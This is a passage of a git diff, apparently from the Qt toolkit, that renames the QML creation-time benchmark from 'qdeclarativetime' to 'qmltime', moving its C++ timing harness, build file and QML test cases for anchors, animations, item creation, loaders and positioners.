++ tests/benchmarks/declarative/qmltime/qmltime.cpp | 231 +++++++++++++++++++++ tests/benchmarks/declarative/qmltime/qmltime.pro | 23 ++ .../declarative/qmltime/tests/anchors/empty.qml | 34 +++ .../declarative/qmltime/tests/anchors/fill.qml | 41 ++++ .../declarative/qmltime/tests/anchors/null.qml | 27 +++ .../declarative/qmltime/tests/animation/large.qml | 41 ++++ .../qmltime/tests/animation/largeNoProps.qml | 41 ++++ .../qmltime/tests/item_creation/children.qml | 34 +++ .../qmltime/tests/item_creation/data.qml | 34 +++ .../qmltime/tests/item_creation/no_creation.qml | 12 ++ .../qmltime/tests/item_creation/resources.qml | 34 +++ .../declarative/qmltime/tests/loader/Loaded.qml | 7 + .../qmltime/tests/loader/component_loader.qml | 16 ++ .../qmltime/tests/loader/empty_loader.qml | 15 ++ .../declarative/qmltime/tests/loader/no_loader.qml | 14 ++ .../qmltime/tests/loader/source_loader.qml | 16 ++ .../tests/positioner_creation/no_positioner.qml | 37 ++++ .../tests/positioner_creation/null_positioner.qml | 34 +++ .../tests/positioner_creation/positioner.qml | 37 ++++ 41 files changed, 743 insertions(+), 743 deletions(-) delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/example.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/example.qml create mode 100644 tests/benchmarks/declarative/qmltime/qmltime.cpp create mode 100644 tests/benchmarks/declarative/qmltime/qmltime.pro create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/null.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/animation/large.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml diff --git a/tests/benchmarks/declarative/declarative.pro b/tests/benchmarks/declarative/declarative.pro index 38ea6c4..a7d426c 100644 --- a/tests/benchmarks/declarative/declarative.pro +++ b/tests/benchmarks/declarative/declarative.pro @@ -8,4 +8,4 @@ SUBDIRS += \ qdeclarativeimage \ qdeclarativemetaproperty \ script \ - qdeclarativetime + qmltime diff --git a/tests/benchmarks/declarative/qdeclarativetime/example.qml b/tests/benchmarks/declarative/qdeclarativetime/example.qml deleted file mode 100644 index dd6185d..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/example.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - property string name: "Bob Smith" - - QDeclarativeTime.Timer { - component: Item { - Text { text: name } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp b/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp deleted file mode 100644 index 20f0d93d..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp +++ /dev/null @@ -1,231 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include - -class Timer : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDeclarativeComponent *component READ component WRITE setComponent); - -public: - Timer(); - - QDeclarativeComponent *component() const; - void setComponent(QDeclarativeComponent *); - - static Timer *timerInstance(); - - void run(uint); - - bool willParent() const; - void setWillParent(bool p); - -private: - void runTest(QDeclarativeContext *, uint); - - QDeclarativeComponent *m_component; - static Timer *m_timer; - - bool m_willparent; - QGraphicsScene m_scene; - QGraphicsRectItem m_item; -}; -QML_DECLARE_TYPE(Timer); - -Timer *Timer::m_timer = 0; - -Timer::Timer() -: m_component(0), m_willparent(false) -{ - if (m_timer) - qWarning("Timer: Timer already registered"); - m_timer = this; - - m_scene.setItemIndexMethod(QGraphicsScene::NoIndex); - m_scene.addItem(&m_item); -} - -QDeclarativeComponent *Timer::component() const -{ - return m_component; -} - -void Timer::setComponent(QDeclarativeComponent *c) -{ - m_component = c; -} - -Timer *Timer::timerInstance() -{ - return m_timer; -} - -void Timer::run(uint iterations) -{ - QDeclarativeContext context(qmlContext(this)); - - QObject *o = m_component->create(&context); - QGraphicsObject *go = qobject_cast(o); - if (m_willparent && go) - go->setParentItem(&m_item); - delete o; - - runTest(&context, iterations); -} - -bool Timer::willParent() const -{ - return m_willparent; -} - -void Timer::setWillParent(bool p) -{ - m_willparent = p; -} - -void Timer::runTest(QDeclarativeContext *context, uint iterations) -{ - QTime t; - t.start(); - for (uint ii = 0; ii < iterations; ++ii) { - QObject *o = m_component->create(context); - QGraphicsObject *go = qobject_cast(o); - if (m_willparent && go) - go->setParentItem(&m_item); - delete o; - } - - int e = t.elapsed(); - - qWarning() << "Total:" << e << "ms, Per iteration:" << qreal(e) / qreal(iterations) << "ms"; - -} - -void usage(const char *name) -{ - qWarning("Usage: %s [-iterations ] [-parent] ", name); - exit(-1); -} - -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - qmlRegisterType("QDeclarativeTime", 1, 0, "Timer"); - - uint iterations = 1024; - QString filename; - bool willParent = false; - - for (int ii = 1; ii < argc; ++ii) { - QByteArray arg(argv[ii]); - - if (arg == "-iterations") { - if (ii + 1 < argc) { - ++ii; - QByteArray its(argv[ii]); - bool ok = false; - iterations = its.toUInt(&ok); - if (!ok) - usage(argv[0]); - } else { - usage(argv[0]); - } - } else if (arg == "-parent") { - willParent = true; - } else { - filename = QLatin1String(argv[ii]); - } - } - - if (filename.isEmpty()) -#ifdef Q_OS_SYMBIAN - filename = QLatin1String("./tests/item_creation/data.qml"); -#else - usage(argv[0]); -#endif - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, filename); - if (component.isError()) { - qWarning() << component.errors(); - return -1; - } - - QObject *obj = component.create(); - if (!obj) { - qWarning() << component.errors(); - return -1; - } - - Timer *timer = Timer::timerInstance(); - if (!timer) { - qWarning() << "A Tester.Timer instance is required."; - return -1; - } - -#ifdef Q_OS_SYMBIAN - willParent = true; -#endif - timer->setWillParent(willParent); - - if (!timer->component()) { - qWarning() << "The timer has no component"; - return -1; - } - -#ifdef Q_OS_SYMBIAN - iterations = 1024; -#endif - - timer->run(iterations); - - return 0; -} - -#include "qdeclarativetime.moc" diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro b/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro deleted file mode 100644 index 7902ee1..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro +++ /dev/null @@ -1,23 +0,0 @@ -load(qttest_p4) -TEMPLATE = app -TARGET = qdeclarativetime -QT += declarative -macx:CONFIG -= app_bundle - -SOURCES += qdeclarativetime.cpp - -symbian* { - TARGET.CAPABILITY = "All -TCB" - example.sources = example.qml - esample.path = . - tests.sources = tests/* - tests.path = tests - anshors.sources = tests/anchors/* - anchors.path = tests/anchors - item_creation.sources = tests/item_creation/* - item_creation.path = tests/item_creation - positioner_creation.sources = tests/positioner_creation/* - positioner_creation.path = tests/positioner_creation - DEPLOYMENT += example tests anchors item_creation positioner_creation -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml deleted file mode 100644 index 8d93594..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml deleted file mode 100644 index 918c48a..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml deleted file mode 100644 index bb84538..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml +++ /dev/null @@ -1,27 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml deleted file mode 100644 index 978e3bf..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - ParallelAnimation { - NumberAnimation { duration: 500 } - NumberAnimation { duration: 4000; } - NumberAnimation { duration: 2000; easing.type: "OutBack"} - ColorAnimation { duration: 3000} - SequentialAnimation { - PauseAnimation { duration: 1000 } - ScriptAction { script: doSomething(); } - PauseAnimation { duration: 800 } - ScriptAction { script: doSomethingElse(); } - PauseAnimation { duration: 800 } - ParallelAnimation { - NumberAnimation { duration: 200;} - SequentialAnimation { - PauseAnimation { duration: 200} - ParallelAnimation { - NumberAnimation { duration: 300;} - NumberAnimation { duration: 300;} - } - NumberAnimation { from: 0; to: 1; duration: 500 } - PauseAnimation { duration: 200 } - NumberAnimation { from: 1; to: 0; duration: 500 } - } - SequentialAnimation { - PauseAnimation { duration: 150} - NumberAnimation { duration: 300; easing.type: "OutBounce" } - } - } - } - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml deleted file mode 100644 index cceb3f4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - ParallelAnimation { - NumberAnimation { } - NumberAnimation { } - NumberAnimation { } - ColorAnimation { } - SequentialAnimation { - PauseAnimation { } - ScriptAction { } - PauseAnimation { } - ScriptAction { } - PauseAnimation { } - ParallelAnimation { - NumberAnimation { } - SequentialAnimation { - PauseAnimation { } - ParallelAnimation { - NumberAnimation { } - NumberAnimation { } - } - NumberAnimation { } - PauseAnimation { } - NumberAnimation { } - } - SequentialAnimation { - PauseAnimation { } - NumberAnimation { } - } - } - } - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml deleted file mode 100644 index 3387a32..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - children: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml deleted file mode 100644 index a8b653c..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - data: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml deleted file mode 100644 index 0a507d4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml +++ /dev/null @@ -1,12 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml deleted file mode 100644 index 227d8ad..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - resources: [ - Rectangle { }, - Rectangle { }, - Item { }, - Image { }, - Text { }, - Item { }, - Item { }, - Image { }, - Image { }, - Row { }, - Image { }, - Image { }, - Column { }, - Row { }, - Text { }, - Text { }, - Text { }, - MouseArea { } - ] - - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml deleted file mode 100644 index 6f8d849..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml +++ /dev/null @@ -1,7 +0,0 @@ -import Qt 4.6 - -Item { - Rectangle {} - Text {} - Image {} -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml deleted file mode 100644 index 270add4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader { - sourceComponent: Loaded {} - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml deleted file mode 100644 index d3b84cc..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml +++ /dev/null @@ -1,15 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader {} - Loaded {} - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml deleted file mode 100644 index a94a12a..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loaded {} - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml deleted file mode 100644 index 39ed1a6..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Loader { - source: "Loaded.qml" - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml deleted file mode 100644 index c1f54a4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml +++ /dev/null @@ -1,37 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Item { - Image { } - Image { } - } - } - - Item { - Item { - Text { } - Text { } - } - Text { } - } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml deleted file mode 100644 index d49ff78..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Row { } - Image { } - Image { } - } - - Column { } - Row { } - Text { } - Text { } - Text { } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml deleted file mode 100644 index 05ca804..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml +++ /dev/null @@ -1,37 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - QDeclarativeTime.Timer { - component: Component { - Item { - Rectangle { } - Rectangle { } - Item { - Image { } - Text { } - } - - Item { - Item { - Image { } - Image { } - Row { - Image { } - Image { } - } - } - - Column { - Row { - Text { } - Text { } - } - Text { } - } - } - MouseArea { } - } - } - } -} diff --git a/tests/benchmarks/declarative/qmltime/example.qml b/tests/benchmarks/declarative/qmltime/example.qml new file mode 100644 index 0000000..68889f0 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/example.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + property string name: "Bob Smith" + + QmlTime.Timer { + component: Item { + Text { text: name } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/qmltime.cpp b/tests/benchmarks/declarative/qmltime/qmltime.cpp new file mode 100644 index 0000000..3932e01 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/qmltime.cpp @@ -0,0 +1,231 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +#include +#include +#include +#include +#include +#include +#include +#include + +class Timer : public QObject +{ + Q_OBJECT + Q_PROPERTY(QDeclarativeComponent *component READ component WRITE setComponent); + +public: + Timer(); + + QDeclarativeComponent *component() const; + void setComponent(QDeclarativeComponent *); + + static Timer *timerInstance(); + + void run(uint); + + bool willParent() const; + void setWillParent(bool p); + +private: + void runTest(QDeclarativeContext *, uint); + + QDeclarativeComponent *m_component; + static Timer *m_timer; + + bool m_willparent; + QGraphicsScene m_scene; + QGraphicsRectItem m_item; +}; +QML_DECLARE_TYPE(Timer); + +Timer *Timer::m_timer = 0; + +Timer::Timer() +: m_component(0), m_willparent(false) +{ + if (m_timer) + qWarning("Timer: Timer already registered"); + m_timer = this; + + m_scene.setItemIndexMethod(QGraphicsScene::NoIndex); + m_scene.addItem(&m_item); +} + +QDeclarativeComponent *Timer::component() const +{ + return m_component; +} + +void Timer::setComponent(QDeclarativeComponent *c) +{ + m_component = c; +} + +Timer *Timer::timerInstance() +{ + return m_timer; +} + +void Timer::run(uint iterations) +{ + QDeclarativeContext context(qmlContext(this)); + + QObject *o = m_component->create(&context); + QGraphicsObject *go = qobject_cast(o); + if (m_willparent && go) + go->setParentItem(&m_item); + delete o; + + runTest(&context, iterations); +} + +bool Timer::willParent() const +{ + return m_willparent; +} + +void Timer::setWillParent(bool p) +{ + m_willparent = p; +} + +void Timer::runTest(QDeclarativeContext *context, uint iterations) +{ + QTime t; + t.start(); + for (uint ii = 0; ii < iterations; ++ii) { + QObject *o = m_component->create(context); + QGraphicsObject *go = qobject_cast(o); + if (m_willparent && go) + go->setParentItem(&m_item); + delete o; + } + + int e = t.elapsed(); + + qWarning() << "Total:" << e << "ms, Per iteration:" << qreal(e) / qreal(iterations) << "ms"; + +} + +void usage(const char *name) +{ + qWarning("Usage: %s [-iterations ] [-parent] ", name); + exit(-1); +} + +int main(int argc, char ** argv) +{ + QApplication app(argc, argv); + + qmlRegisterType("QmlTime", 1, 0, "Timer"); + + uint iterations = 1024; + QString filename; + bool willParent = false; + + for (int ii = 1; ii < argc; ++ii) { + QByteArray arg(argv[ii]); + + if (arg == "-iterations") { + if (ii + 1 < argc) { + ++ii; + QByteArray its(argv[ii]); + bool ok = false; + iterations = its.toUInt(&ok); + if (!ok) + usage(argv[0]); + } else { + usage(argv[0]); + } + } else if (arg == "-parent") { + willParent = true; + } else { + filename = QLatin1String(argv[ii]); + } + } + + if (filename.isEmpty()) +#ifdef Q_OS_SYMBIAN + filename = QLatin1String("./tests/item_creation/data.qml"); +#else + usage(argv[0]); +#endif + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, filename); + if (component.isError()) { + qWarning() << component.errors(); + return -1; + } + + QObject *obj = component.create(); + if (!obj) { + qWarning() << component.errors(); + return -1; + } + + Timer *timer = Timer::timerInstance(); + if (!timer) { + qWarning() << "A Tester.Timer instance is required."; + return -1; + } + +#ifdef Q_OS_SYMBIAN + willParent = true; +#endif + timer->setWillParent(willParent); + + if (!timer->component()) { + qWarning() << "The timer has no component"; + return -1; + } + +#ifdef Q_OS_SYMBIAN + iterations = 1024; +#endif + + timer->run(iterations); + + return 0; +} + +#include "qmltime.moc" diff --git a/tests/benchmarks/declarative/qmltime/qmltime.pro b/tests/benchmarks/declarative/qmltime/qmltime.pro new file mode 100644 index 0000000..9352f3b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/qmltime.pro @@ -0,0 +1,23 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = qmltime +QT += declarative +macx:CONFIG -= app_bundle + +SOURCES += qmltime.cpp + +symbian* { + TARGET.CAPABILITY = "All -TCB" + example.sources = example.qml + esample.path = . + tests.sources = tests/* + tests.path = tests + anshors.sources = tests/anchors/* + anchors.path = tests/anchors + item_creation.sources = tests/item_creation/* + item_creation.path = tests/item_creation + positioner_creation.sources = tests/positioner_creation/* + positioner_creation.path = tests/positioner_creation + DEPLOYMENT += example tests anchors item_creation positioner_creation +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml new file mode 100644 index 0000000..31c879b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + Item { + anchors.leftMargin: 0 + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml new file mode 100644 index 0000000..23fe78e --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + Item { + anchors.fill: parent + anchors.leftMargin: 0 + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml new file mode 100644 index 0000000..bc447ef --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml @@ -0,0 +1,27 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + 